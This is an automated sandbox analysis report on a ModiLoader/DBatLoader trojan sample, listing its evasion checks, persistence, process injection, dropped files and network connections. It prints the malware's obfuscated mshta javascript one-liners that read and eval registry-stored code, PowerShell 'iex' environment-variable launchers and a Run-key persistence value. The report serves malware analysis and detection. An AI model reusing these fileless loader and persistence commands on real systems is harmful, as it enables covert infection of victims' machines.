Malware Analysis Report

2024-08-06 14:30

Sample ID 240527-bevmfsaf7s
Target 7767fcb5c03b6e46f5248e71ffc690fe_JaffaCakes118
SHA256 f86bbb21b996da52cc930dec9edcd4f46a7da778b4ed3f21052206fd85addae6
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f86bbb21b996da52cc930dec9edcd4f46a7da778b4ed3f21052206fd85addae6

Threat Level: Known bad

The file 7767fcb5c03b6e46f5248e71ffc690fe_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

ModiLoader Second Stage

Looks for VirtualBox Guest Additions in registry

Checks for common network interception software

Looks for VirtualBox drivers on disk

Looks for VMWare Tools registry key

Checks BIOS information in registry

Checks computer location settings

Deletes itself

Adds Run key to start application

Maps connected drives based on registry

Drops file in System32 directory

Suspicious use of SetThreadContext

Unsigned PE

Enumerates physical storage devices

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Virtualization/Sandbox Evasion
T1497
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Software Discovery
T1518
Query Registry
T1012
Virtualization/Sandbox Evasion
T1497
File and Directory Discovery
T1083
System Information Discovery
T1082
Peripheral Device Discovery
T1120
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-27 01:03

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-27 01:03

Reported

2024-05-27 01:06

Platform

win7-20231129-en

Max time kernel

150s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7767fcb5c03b6e46f5248e71ffc690fe_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d866a3c3\\2abf568c.bat\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2620 set thread context of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 set thread context of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:vAjwTQg4=\"Nfud\";t0O=new ActiveXObject(\"WScript.Shell\");cg0Cj=\"LcA6udn\";QL4bb=t0O.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");U5bSjyLJ=\"2v7sd6H\";eval(QL4bb);f3SQHMtu=\"4dVxvxr8\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.5ad3c886b C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.5ad3c886b\ = "a3267dda" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\a3267dda C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2596 wrote to memory of 2620 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 2620 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 2620 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 2620 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2620 wrote to memory of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2620 wrote to memory of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2620 wrote to memory of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2620 wrote to memory of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2620 wrote to memory of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2620 wrote to memory of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2620 wrote to memory of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2620 wrote to memory of 2484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 wrote to memory of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 wrote to memory of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 wrote to memory of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 wrote to memory of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 wrote to memory of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 wrote to memory of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 wrote to memory of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2484 wrote to memory of 1188 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7767fcb5c03b6e46f5248e71ffc690fe_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7767fcb5c03b6e46f5248e71ffc690fe_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:iKh5Ta0t="hGQ";l93A=new%20ActiveXObject("WScript.Shell");rei8SU="4BOIXcK";m3WAh=l93A.RegRead("HKCU\\software\\XLUjcwP81U\\bkMMRoy");XO0Qeng6="RgjbO9aa";eval(m3WAh);j26KRHYof="f";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:eutdn

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 159.246.240.73:443 tcp
FR 79.91.150.166:80 tcp
US 33.249.79.180:443 tcp
MA 196.76.197.173:443 tcp
US 198.202.113.90:80 tcp
DZ 197.113.136.52:80 tcp
TW 61.67.107.92:80 tcp
SE 192.121.105.99:80 tcp
US 33.73.197.51:443 tcp
CN 113.224.95.178:80 tcp
US 158.241.133.229:443 tcp
FR 92.175.21.104:8080 tcp
DE 31.150.20.19:443 tcp
GR 77.69.72.43:80 tcp
CN 202.197.80.47:443 tcp
US 141.126.27.217:80 tcp
US 17.114.208.217:80 tcp
TN 196.179.137.210:80 tcp
GB 217.64.115.168:80 tcp
IT 79.23.9.55:443 tcp
US 30.111.2.112:80 tcp
US 11.33.113.209:80 tcp
RU 78.85.101.251:80 tcp
JP 23.194.71.232:80 tcp
US 6.80.46.91:443 tcp
US 174.164.68.92:80 tcp
US 7.135.165.4:443 tcp
CN 180.76.200.201:443 tcp
BR 172.71.234.132:443 tcp
DE 109.85.166.48:443 tcp
TR 178.243.219.225:80 tcp
US 155.39.30.241:443 tcp
BR 187.15.129.107:80 tcp
FR 90.11.152.158:80 tcp
CN 153.3.98.206:80 tcp
US 76.218.110.126:80 tcp
US 72.43.10.65:80 tcp
SG 43.23.215.63:80 tcp
IT 151.37.22.100:443 tcp
US 108.97.56.69:80 tcp
US 12.89.68.98:80 tcp
CA 153.73.229.189:80 tcp
US 167.73.200.127:443 tcp
TW 124.11.229.156:8080 tcp
CN 223.252.145.2:443 tcp
IT 2.225.70.168:80 tcp
FR 109.17.175.164:80 tcp
US 163.126.67.235:80 tcp
CN 223.193.227.82:443 tcp
GB 51.133.108.46:443 tcp
US 156.90.93.232:443 tcp
SA 100.148.121.242:8080 tcp
DE 53.100.159.13:80 tcp
BZ 190.197.104.14:443 tcp
CN 61.29.215.28:443 tcp
US 11.173.103.71:443 tcp
JP 180.50.93.87:80 tcp
US 99.120.114.252:80 tcp
US 35.146.44.137:80 tcp
US 207.220.163.31:80 tcp
BD 27.147.196.172:80 tcp
BR 200.192.116.229:80 tcp
US 160.254.200.144:443 tcp
GB 92.20.199.71:80 tcp
US 205.34.129.137:443 tcp
CA 142.25.92.83:443 tcp
US 71.191.40.102:80 tcp
US 32.14.204.8:80 tcp
US 104.245.110.105:443 tcp
US 166.216.2.155:80 tcp
AR 201.234.254.247:443 tcp
JP 106.167.216.111:80 tcp
CN 222.84.186.100:80 tcp
US 192.80.202.208:80 tcp
US 48.87.20.230:80 tcp
MT 88.203.42.118:80 tcp
EG 41.178.69.160:443 tcp
CN 122.193.89.248:443 tcp
FR 163.81.34.136:80 tcp
IT 82.190.147.114:8080 tcp
US 15.38.159.3:80 tcp
CN 116.208.90.203:443 tcp
FR 31.39.73.159:443 tcp
TW 220.135.21.44:80 tcp
US 204.151.145.32:80 tcp
US 17.226.167.228:443 tcp
US 128.117.197.244:8080 tcp
TW 220.135.21.44:80 220.135.21.44 tcp
US 104.248.216.85:80 tcp
US 97.13.5.248:80 tcp
JP 49.129.174.99:443 tcp
US 22.95.94.173:80 tcp
US 16.80.58.152:80 tcp
FR 176.137.51.195:80 tcp
FR 92.133.23.166:8080 tcp
US 9.198.203.177:80 tcp
LT 90.138.108.24:443 tcp
FR 86.75.58.33:443 tcp
US 215.176.238.25:8080 tcp
FR 2.3.251.239:443 tcp
US 156.53.90.89:80 tcp
US 40.238.240.152:80 tcp
GB 194.69.95.12:80 tcp
BR 177.101.247.2:80 tcp
CN 171.36.166.215:8080 tcp
N/A 127.142.169.157:443 tcp
ES 85.152.14.117:443 tcp
US 138.158.185.151:443 tcp
US 97.27.15.6:80 tcp
BR 191.233.129.248:80 tcp
HK 158.182.152.68:80 tcp
VN 14.175.81.52:443 tcp
EG 197.38.220.130:80 tcp
US 192.184.131.104:443 tcp
BR 187.69.13.111:8080 tcp
US 26.224.199.20:443 tcp
AU 130.95.38.96:80 tcp
US 98.225.98.246:80 tcp
PL 195.149.237.190:443 tcp
US 207.52.49.238:443 tcp
US 70.156.128.103:80 tcp
US 40.159.92.172:80 tcp
CA 75.154.99.85:80 tcp
US 76.46.116.98:80 tcp
US 48.187.95.42:80 tcp
RU 176.59.3.135:80 tcp
IN 103.21.54.105:80 tcp
US 207.62.87.115:443 tcp
TW 211.20.5.50:80 tcp
LY 41.208.79.86:80 tcp
US 76.59.188.138:443 tcp
BO 161.22.187.15:443 tcp
IT 2.157.244.147:80 tcp
PK 202.63.194.125:443 tcp
US 44.43.134.86:80 tcp
PL 5.184.165.150:443 tcp
US 29.123.45.87:443 tcp
DE 194.64.205.134:443 tcp
US 17.152.41.90:80 tcp
US 152.128.182.56:80 tcp
US 215.5.102.204:443 tcp
UY 190.133.71.138:443 tcp
US 4.126.115.202:80 tcp
VE 200.44.227.58:80 tcp
CN 183.140.236.210:80 tcp
US 47.41.237.120:80 tcp
US 11.2.189.34:80 tcp
KR 223.32.222.132:80 tcp
CN 120.65.157.159:443 tcp
US 38.131.115.28:80 tcp
KR 123.108.18.196:80 tcp
CN 27.39.6.18:80 tcp
US 68.200.184.180:443 tcp
US 151.199.12.4:80 tcp
US 11.242.84.219:443 tcp
CN 120.1.185.198:443 tcp
SG 111.221.16.76:80 tcp
KR 221.153.236.189:443 tcp
US 9.98.124.190:80 tcp
GB 25.38.141.175:8080 tcp
DE 84.58.241.196:80 tcp
MA 105.133.104.2:80 tcp
SA 37.43.151.73:443 tcp
GB 154.51.174.151:443 tcp
US 26.139.179.187:443 tcp
AU 18.244.170.19:80 tcp
US 56.62.191.107:80 tcp
CN 120.32.136.196:80 tcp
CN 27.208.254.160:80 tcp
FR 51.75.238.145:443 tcp
FR 51.75.238.145:443 tcp
FR 51.75.238.145:443 tcp
RS 109.121.71.102:80 tcp
US 97.55.122.183:443 tcp
FR 51.75.238.145:443 tcp
FR 51.75.238.145:443 tcp
FR 51.75.238.145:80 51.75.238.145 tcp
US 54.183.38.50:8080 tcp
GB 25.129.104.194:443 tcp
US 55.136.59.207:443 tcp
US 40.125.32.52:443 tcp
CN 211.151.4.153:80 tcp
KR 112.158.137.226:80 tcp
BE 146.175.139.65:443 tcp
TW 223.137.224.175:443 tcp
US 198.65.35.196:443 tcp
US 98.212.163.10:8080 tcp
US 96.107.240.35:80 tcp
US 166.98.147.60:80 tcp
BR 191.195.232.154:443 tcp
IT 80.19.143.4:80 tcp
JP 125.48.103.69:80 tcp
US 155.124.73.28:443 tcp
CA 198.48.251.38:443 tcp
AU 115.131.127.90:443 tcp
US 19.251.54.31:80 tcp
JP 60.113.40.37:8080 tcp
US 162.196.35.106:8080 tcp
US 40.94.34.204:80 tcp
MU 102.162.173.15:80 tcp
RU 94.181.220.93:443 tcp
US 207.29.171.56:80 tcp
DE 92.199.59.20:8080 tcp
GU 168.123.145.103:80 tcp
US 192.4.233.221:443 tcp
GB 25.31.152.154:80 tcp
VN 171.247.244.102:80 tcp
KR 27.233.191.171:80 tcp
US 170.32.25.153:80 tcp
US 69.51.37.11:443 tcp
US 38.64.23.7:443 tcp
US 207.178.10.237:443 tcp
US 97.175.90.110:443 tcp
IE 54.73.102.178:80 tcp
KR 115.13.12.236:80 tcp
IE 34.254.56.134:80 tcp
US 40.160.51.184:8080 tcp
CN 180.119.147.229:443 tcp
US 32.203.19.217:443 tcp
US 141.234.199.30:443 tcp
PT 109.49.1.104:8080 tcp
SA 100.145.59.8:80 tcp
US 104.252.145.39:80 tcp
US 107.221.154.141:80 tcp
TH 223.24.160.179:80 tcp
US 47.235.234.154:80 tcp
CA 24.86.156.166:8080 tcp
US 16.46.107.221:80 tcp
US 148.87.145.28:443 tcp
US 107.44.150.165:80 tcp
US 165.95.11.159:443 tcp
US 166.89.123.60:8080 tcp
CN 112.111.138.236:80 tcp
JP 126.5.77.21:443 tcp
JP 163.133.24.159:80 tcp
N/A 13.75.184.81:80 tcp

Files

memory/1936-0-0x0000000000400000-0x0000000000460710-memory.dmp

memory/1936-1-0x0000000000457000-0x0000000000459000-memory.dmp

memory/1936-3-0x0000000000400000-0x0000000000460710-memory.dmp

memory/1936-2-0x0000000001D20000-0x0000000001DFC000-memory.dmp

memory/1936-7-0x0000000001D20000-0x0000000001DFC000-memory.dmp

memory/1936-6-0x0000000001D20000-0x0000000001DFC000-memory.dmp

memory/1936-5-0x0000000001D20000-0x0000000001DFC000-memory.dmp

memory/1936-4-0x0000000001D20000-0x0000000001DFC000-memory.dmp

memory/1936-8-0x0000000001D20000-0x0000000001DFC000-memory.dmp

memory/1936-9-0x0000000001D20000-0x0000000001DFC000-memory.dmp

memory/2620-13-0x0000000002D70000-0x0000000002D71000-memory.dmp

memory/2620-14-0x0000000005730000-0x000000000580C000-memory.dmp

memory/2484-15-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-16-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2620-18-0x0000000005730000-0x000000000580C000-memory.dmp

memory/2484-20-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-31-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-36-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-40-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-44-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-47-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-52-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-46-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-45-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-43-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-42-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-41-0x0000000000220000-0x000000000036A000-memory.dmp

memory/1936-55-0x0000000001D20000-0x0000000001DFC000-memory.dmp

memory/2484-39-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-38-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-37-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-35-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-34-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-33-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-32-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-30-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-29-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-28-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-27-0x0000000000220000-0x000000000036A000-memory.dmp

memory/1188-73-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-72-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-71-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-70-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-69-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-68-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-67-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-66-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-65-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-64-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-63-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-62-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/1188-61-0x0000000000190000-0x00000000002DA000-memory.dmp

memory/2484-26-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-25-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-24-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-23-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-21-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-19-0x0000000000220000-0x000000000036A000-memory.dmp

memory/2484-22-0x0000000000220000-0x000000000036A000-memory.dmp

C:\Users\Admin\AppData\Local\d866a3c3\1ac3c0ce.5ad3c886b

MD5 35ba0fa4d7ba019f64c4b9cdfec5a5e1
SHA1 cb1daa77b085c6495094a1434f6c4a5ad2d1b9bb
SHA256 9031ceb10324898f8d62933db9a7c752176789b76d0f827990c9f0c36df8d3f2
SHA512 394c8ec7fb385289c29453749e5e96ba4fe9a99c8b4ed1c4dc48bd477b82149998d7fe8e60e328295c0b20efc4a1555f14a980e4478aa3c4f931b3b5d8168c0c

C:\Users\Admin\AppData\Local\d866a3c3\2abf568c.bat

MD5 ba0e3a5bd50ef806b7b92cdd36b8dc38
SHA1 ed30519d56900ede7f488d229b47e16b565e5967
SHA256 8769b0564e96a313c2452e852ff21cbab1c67fc6406fd4fcc849f1426196bbb8
SHA512 cb0eba52731e47207b7beec52bab9a34eb8ef501293ff21852e77b172c2773851b83f065059eb496d9e1d981d2b6a1d7b18efc3cb6d98d1742cfead18595e240

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-27 01:03

Reported

2024-05-27 01:06

Platform

win10v2004-20240508-en

Max time kernel

141s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7767fcb5c03b6e46f5248e71ffc690fe_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4320 wrote to memory of 1792 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4320 wrote to memory of 1792 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4320 wrote to memory of 1792 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7767fcb5c03b6e46f5248e71ffc690fe_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7767fcb5c03b6e46f5248e71ffc690fe_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:IV9kIj="hg";cP6=new%20ActiveXObject("WScript.Shell");ANeC3PL7P="Qgm";Pr56Sq=cP6.RegRead("HKCU\\software\\wKDg0qdiQ\\bz482NFGCA");hnX5r="8RRREV";eval(Pr56Sq);Gmr5T7="XzQRy";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:prkgoh

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp

Files

memory/184-0-0x0000000000457000-0x0000000000459000-memory.dmp

memory/184-1-0x0000000000400000-0x0000000000460710-memory.dmp

memory/184-3-0x0000000000400000-0x0000000000460710-memory.dmp

memory/184-4-0x0000000002330000-0x000000000240C000-memory.dmp

memory/184-7-0x0000000002330000-0x000000000240C000-memory.dmp

memory/184-6-0x0000000002330000-0x000000000240C000-memory.dmp

memory/184-5-0x0000000002330000-0x000000000240C000-memory.dmp

memory/184-2-0x0000000002330000-0x000000000240C000-memory.dmp

memory/184-8-0x0000000002330000-0x000000000240C000-memory.dmp

memory/184-9-0x0000000002330000-0x000000000240C000-memory.dmp

memory/1792-11-0x0000000004B50000-0x0000000004B86000-memory.dmp

memory/1792-12-0x00000000051C0000-0x00000000057E8000-memory.dmp

memory/1792-13-0x0000000005140000-0x0000000005162000-memory.dmp

memory/1792-15-0x0000000005990000-0x00000000059F6000-memory.dmp

memory/1792-14-0x0000000005920000-0x0000000005986000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1w1wiqea.yvq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
